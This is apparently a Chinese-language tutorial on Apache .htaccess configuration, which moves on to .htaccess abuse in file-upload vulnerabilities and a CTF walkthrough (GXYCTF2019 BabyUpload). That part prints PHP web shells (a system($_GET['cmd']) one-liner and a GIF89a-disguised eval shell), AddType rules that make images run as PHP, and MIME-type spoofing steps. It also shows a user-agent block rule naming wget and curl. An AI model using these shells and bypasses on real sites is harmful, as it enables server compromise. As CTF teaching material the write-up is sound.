.htaccess
(Hypertext Access)是 Apache 服务器的一个分布式配置文件,可以覆盖主配置文件的设置,无需重启服务器即可生效 (需要管理员级别权限修改的httpd.conf文件修改后需要重启Apach服务器)它主要用于目录级的配置,是 Web 安全、URL 重写和服务器优化的重要工具。
1、.htaccess 文件的基本组成
.htaccess
文件是一个纯文本文件,通常包含以下类型的指令:
常用指令类型
指令类型 | 示例 | 作用 |
---|---|---|
认证与授权 | AuthType Basic |
密码保护目录 |
URL 重写 | RewriteRule ^old.html$ new.html [R=301] |
重定向或美化 URL |
错误页面定制 | ErrorDocument 404 /404.html |
自定义 404 页面 |
禁止访问 | Deny from all |
阻止特定 IP 或用户代理访问 |
MIME 类型设置 | AddType application/x-httpd-php .php |
定义文件类型处理方式 |
缓存控制 | ExpiresActive On |
设置浏览器缓存策略 |
PHP 配置覆盖 | php_value upload_max_filesize 20M |
修改 PHP 运行参数(如上传限制) |
2、.htaccess 的核心作用
1. URL 重写(SEO 友好 & 隐藏真实路径)
RewriteEngine On
RewriteRule ^article/([0-9]+)/?$ article.php?id=$1 [L]
-
用户访问
/article/123/
→ 实际执行article.php?id=123
-
常用于 WordPress、Laravel 等框架
2. 访问控制(安全防护)
# 禁止访问特定文件
<Files "config.ini">
Deny from all
</Files>
# 屏蔽恶意 User-Agent
RewriteCond %{HTTP_USER_AGENT} (wget|curl|python) [NC]
RewriteRule .* - [F]
3. 自定义错误页面
ErrorDocument 404 /errors/404.html
ErrorDocument 500 /errors/500.html
- 提升用户体验,避免暴露服务器信息。(了解一下即可)
4. 防止目录遍历
Options -Indexes
- 禁止直接列出目录内容(防止敏感文件泄露)。
5. 强制 HTTPS(安全跳转)
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
6. 禁止 PHP 执行(安全防护)
<FilesMatch "\.(php|inc)$">
Deny from all
</FilesMatch>
- 常用于上传目录(如
/uploads/
),防止上传 Webshell 被执行。
3、典型应用场景
1. WordPress 的 .htaccess
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
- 实现"固定链接"(Pretty Permalinks)功能。
2. 防止图片盗链
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^https://(www\.)?yourdomain.com [NC]
RewriteRule \.(jpg|png|gif)$ - [F]
- 只允许本站引用图片,外站访问返回 403。
3. 限制 IP 访问
Order Deny,Allow
Deny from all
Allow from 192.168.1.100
- 仅允许特定 IP 访问目录。
4、注意事项
-
性能影响:
每个请求都会读取
.htaccess
,高流量站点建议改用主配置文件(httpd.conf
)。 -
语法严格:
错误的规则可能导致 500 错误,测试时建议备份原文件。
-
优先级:
子目录的
.htaccess
会覆盖父目录的设置。 -
安全风险:
错误的权限设置可能导致
.htaccess
被篡改(建议权限设为644
)
5、如何测试 .htaccess
是否生效?
-
访问目标 URL,观察是否按规则跳转。
-
使用
curl
检查响应头:curl -I http://example.com/test
6、.htaccess文件在文件上传漏洞中的构造方法及作用详解
.htaccess文件概述
.htaccess是Apache服务器的一个配置文件,它允许用户针对特定目录修改服务器的配置,而无需访问主配置文件。在文件上传漏洞利用中,攻击者常利用.htaccess文件来实现恶意目的。
<1>.htaccess在文件上传漏洞中的作用
-
文件执行控制 :通过修改文件解析规则,使原本不可执行的文件(如图片)能够作为PHP等脚本执行
-
绕过限制 :绕过服务器的文件类型****检查和安全限制
-
持久化访问 :为后续攻击提供持久化的后门访问
<2>常见的.htaccess构造方法
1. 修改文件解析规则
apache
AddType application/x-httpd-php .jpg .png .gif
作用:使服务器将.jpg、.png、.gif等图片文件当作PHP脚本解析 执行
(比如当题目限制只能上传图片文件而没有对.htaccess文件过滤时,就可以使用这种方法进行绕过)
2. 设置PHP执行标志
apache
<FilesMatch "\.(jpg|png|gif)$">
SetHandler application/x-httpd-php
</FilesMatch>
作用:匹配特定扩展名的文件,强制使用PHP处理器处理
这个暂时还没弄明白怎么运用
3. 自定义错误处理程序
apache
ErrorDocument 404 /uploads/malicious.php
作用:将404错误****重定向到恶意脚本,实现隐蔽访问
4. 启用PHP配置选项
apache
php_value auto_prepend_file "malicious.jpg"
php_value auto_append_file "malicious.jpg"
作用:在每个PHP文件执行前后自动包含恶意文件
5. 重写URL规则
apache
RewriteEngine On
RewriteRule ^(.*)\.jpg$ malicious.php?file=$1
作用:将访问.jpg文件的请求****重定向到恶意PHP脚本
总结来说就是:
假设攻击者上传了一个包含以下内容的.htaccess文件:
apache
AddType application/x-httpd-php .abc
然后上传一个名为"shell.abc"的文件,内容为:
php
<?php system($_GET['cmd']); ?>
这样,访问"shell.abc?cmd=id"就会执行系统命令。
例题
【nssctf】 GXYCTF2019 BabyUpload
开启题目后随便上传一个木马.txt文件,提示太露骨了

同样的png文件也提示露骨
然后我上传了一个muma.jpg图片,提示如下

由此可知,后端检测出上传的jpg文件中含有php代码(即后缀检测,内容也检测)
而对内容检测八成就是对php标签内容检测
所以需要将jpg中的php代码修改为Javascript的形式,如下:
GIF89a
<script language='php'>@eval($_POST["a"]);</script>
(这串代码简洁明了的解释就是 结合GIF图像格式和PHP代码,用于绕过文件上传限制并执行恶意代码)
这里我详细记录一下这串代码的作用吧:
-
GIF89a
是GIF图像文件的文件头标识。它表示这是一个GIF格式的图像文件。 -
GIF文件的文件头通常是**
GIF89a
或GIF87a
,用于标识文件类型** 和版本(这一步是为上传成功作准备的) -
<script language='php'>
:-
这是一个HTML
<script>
标签,通常用于嵌入脚本代码。 -
在这里,
language='php'
属性指定了脚本语言为PHP。
-
-
@eval($_POST["a"]);
:-
@eval
是PHP的一个函数,用于执行字符串中的PHP代码。 -
$_POST["a"]
是一个超全局变量,表示通过POST方法传递的参数**a
**。 -
@
符号用于抑制错误信息,即使eval
函数执行失败,也不会显示任何错误信息。
-
(这一大坨都是为了后面.htaccess文件解析它作准备)
接下来上传文件后页面回显路径

说明上传成功,既然能上传,接下来只需要解决能否解析.jpg文件中的php代码就可以了
而想要解析.jpg文件中的php代码,就可以使用**.htaccess**文件来进行实现
接着来看步骤:
先创建一个**.htaccess文件**,用记事本打开,写入以下内容:
AddType application/x-httpd-php .jpg .txt .png
这条命令可以让Apach服务器在遇到**.jpg .txt .png** 文件时按照php 文件来解析(即解析其中的php代码)
下一步 .htaccess文件配合 .jpg 文件上传
先上传.htaccess 文件,响应页面如下

没错,露骨就需要抓包改一下MIME类型了(Content-type)
选择.htaccess文件后,抓包然后上传


点击上传


修改****MIME类型为 允许的image/jpeg

修改后放行,出现响应界面

页面提示.htaccess文件上传成功

这样的话就可以上传****待解析 的jpg文件了
直接上传

可以看到此刻jpg文件也上传成功

既然路径也有了,接下来只需要拼接url访问即可


拼接访问

发现伪装的jpg文件头已显示,说明图片(php代码)解析成功
可以通过POST传参传入php语句看其是否能执行
F12键打开hackbar,利用一句话木马传入的参数执行php语句
(别搞错,上传的木马参数不一样这里就不一样。我的是a)

执行

php语句可执行, 接下来就可以连接蚁剑
打开蚁剑添加数据,填入拼接好的url,传入的参数即为连接密码(我的是a)
点击测试连接

连接成功后点击添加 。最后打开目录搜寻flag即可


总的来说
.htaccess
是 Apache 服务器的强大工具,可用于:
URL 重写 (SEO 优化)
访问控制 (IP/User-Agent 过滤)
安全防护 (禁止目录遍历、防 PHP 执行)
自定义错误页(提升用户体验)
而在文件上传漏洞中,.htaccess文件在文件上传漏洞中常被用作"桥梁",通过修改服务器配置来绕过安全限制。
合理使用能大幅增强网站安全性和灵活性,但需注意性能影响和语法正确性,否则出现"文件因错误而无法显示"就是常态了